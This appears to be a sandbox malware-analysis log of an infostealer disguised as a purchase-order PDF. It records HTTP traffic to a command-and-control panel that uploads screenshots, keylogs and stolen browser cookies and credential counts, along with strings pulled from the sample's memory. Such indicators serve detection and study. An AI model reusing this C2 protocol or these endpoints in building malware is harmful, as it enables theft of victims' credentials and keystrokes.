Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CHC8BC548DD2 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c01db3e779Host: mavelecgr.comContent-Length: 883749Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CHC8BC548DD2 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c0649fba80Host: mavelecgr.comContent-Length: 266Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CHC8BC548DD2 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c138ae0303Host: mavelecgr.comContent-Length: 836729Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CHC8BC548DD2 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c15c5f9a76Host: mavelecgr.comContent-Length: 257Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c325d7e495Host: mavelecgr.comContent-Length: 861889Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c41529ca85Host: mavelecgr.comContent-Length: 861889Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//screen.php?hwid=CHC8BC548DD2 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c541a42d85Host: mavelecgr.comContent-Length: 824618Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /webpanel//keylogs.php?hwid=CHC8BC548DD2 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c542169c65Host: mavelecgr.comContent-Length: 266Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14c5422e7645Host: mavelecgr.comContent-Length: 861889Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14ba80f788cdHost: mavelecgr.comContent-Length: 861889Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------8db14bb1821a0adHost: mavelecgr.comContent-Length: 861889Expect: 100-continueConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443

Source: wget.exe, 00000002.00000002.246820296.0000000002AB8000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.246523646.0000000002AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: wget.exe, 00000002.00000002.246820296.0000000002AB8000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.246523646.0000000002AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wget.exe, 00000002.00000002.246820296.0000000002AB8000.00000004.00000020.00020000.00000000.sdmp, wget.exe, 00000002.00000003.246523646.0000000002AB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crlK
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.0000000003ED4000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.562996880.0000000003F37000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.529034520.0000000000464000.00000040.00000400.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004201000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004266000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.528716221.0000000000462000.00000040.00000400.00020000.00000000.sdmp, Newtonsoft.Json.dll0.8.dr, Newtonsoft.Json.dll.8.dr	String found in binary or memory: http://expression/newtonsoft.json.dll
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.253632572.000000000589D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.comX
Source: Zip.exe, 00000014.00000002.477974900.00000285A22C5000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A225F000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22AE000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22A2000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A2279000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A21E1000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000000.341244992.00000285A0672000.00000002.00000001.01000000.0000000F.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22AE000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A2296000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003236000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003191000.00000004.00000800.00020000.00000000.sdmp, Zip.exe.8.dr	String found in binary or memory: http://ip-api.com/json/
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com4
Source: Zip.exe, 00000014.00000002.477974900.00000285A2296000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com8
Source: Zip.exe, 00000014.00000002.477974900.00000285A225F000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A22AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.comx
Source: Newtonsoft.Json.dll.8.dr	String found in binary or memory: http://james.newtonking.com/projects/json
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003032000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002FEE000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.528716221.0000000000481000.00000040.00000400.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel/
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.000000000329F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//config.json
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//gate.php?hwid=CHC8BC548DD2
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//keylogs.php?hwid=CHC8BC548DD2
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//keylogs.php?hwid=CHC8BC548DD20
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFi
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoF
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//screen.php?hwid=CHC8BC548DD2
Source: RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//task.php?hwid=CHC8BC548DD2
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com4
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002EF5000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003032000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002FEE000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002EED000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F22000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000003047000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.comD8
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.370888340.000000000783F000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.335425657.000000000782C000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.371132529.000000000783F000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.430668640.000000000783D000.00000004.00000020.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.592531055.0000000007889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.ado/1
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.370888340.000000000783F000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.335425657.000000000782C000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.371132529.000000000783F000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000003.430668640.000000000783D000.00000004.00000020.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.592531055.0000000007889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: RudGXFgqTDEzz.exe, 00000018.00000002.592531055.0000000007889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.cobj
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.288822367.0000000002831000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.393580716.0000000003161000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000002.477974900.00000285A21E1000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000015.00000002.472143566.0000000003561000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003191000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.255999491.0000000005870000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com.TTF
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259199561.00000000058A6000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259217143.00000000058A6000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259265344.00000000058A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.306804992.0000000006A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.262756301.0000000005873000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263669862.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263777504.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263441269.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com4
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.262756301.0000000005873000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263669862.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.285445615.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263777504.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263441269.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.262756301.0000000005873000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263669862.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.285445615.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263777504.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263441269.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comion=
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comituk
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259667638.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259604063.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259713325.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.commY
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.262756301.0000000005873000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263669862.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.285445615.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263777504.0000000005875000.00000004.00000020.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.263441269.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comoitu
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.259410386.0000000005875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comy=
